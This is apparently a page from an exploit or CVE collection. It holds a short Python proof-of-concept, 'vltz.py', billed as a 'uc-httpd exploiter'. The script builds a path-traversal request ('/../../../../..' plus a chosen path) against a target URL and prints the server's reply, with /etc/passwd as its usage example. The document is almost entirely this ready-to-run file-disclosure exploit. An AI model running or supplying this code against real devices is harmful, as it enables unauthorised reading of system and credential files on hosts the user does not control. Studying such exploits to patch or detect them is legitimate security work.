4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / vltz.py PY
#!usr/bin/env python
try:
    import urllib3
except:
    print("Install pip install urllib3")

import sys


class colors():
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'


print(colors.OKGREEN + "[+] uc-httpd exploiter [+]")
print(colors.OKBLUE + "[+] usage: python3 " + __file__ + " http://targetip /etc/passwd")

if len(sys.argv) != 3:
    print("Type only URL")
    exit(1)

host = str(sys.argv[1])
file_to_read = str(sys.argv[2])
payload = host+'/../../../../..' +file_to_read

# urllib3 object
print('\n')
print(colors.BOLD +'[+]' + colors.OKGREEN + 'Trying: '  + payload)
http = urllib3.PoolManager()
r = http.request('GET', payload)

print("\n")
print(colors.ENDC + 'Status: ' + str(r.status))
print("\n")


if r.data != None:
    print(colors.ENDC+'[+]' + colors.OKGREEN + 'DATA RESPONSE: ' + colors.FAIL + str(r.data))